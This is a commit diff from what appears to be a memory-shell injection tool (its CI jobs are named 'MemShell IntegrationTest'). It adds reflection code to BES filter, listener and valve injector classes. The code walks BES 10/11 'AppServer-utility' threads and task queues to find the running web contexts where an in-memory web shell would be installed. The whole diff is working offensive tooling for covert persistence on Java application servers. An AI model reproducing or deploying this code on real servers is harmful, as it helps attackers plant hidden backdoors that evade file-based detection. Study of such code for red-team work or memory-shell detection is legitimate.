feat(bes): add BES 10/11 context discovery via AppServer-utility thread
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s

This commit is contained in:
su18
2026-08-25 22:07:33 +08:00
committed by ReaJason
parent 229698eb49
commit d4c6473543
3 changed files with 123 additions and 0 deletions
@@ -102,6 +102,47 @@ public class BesFilterInjector {
} }
} }
} }
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts; return contexts;
} }
@@ -94,6 +94,47 @@ public class BesListenerInjector {
} }
} }
} }
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts; return contexts;
} }
@@ -93,6 +93,47 @@ public class BesValveInjector {
} }
} }
} }
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts; return contexts;
} }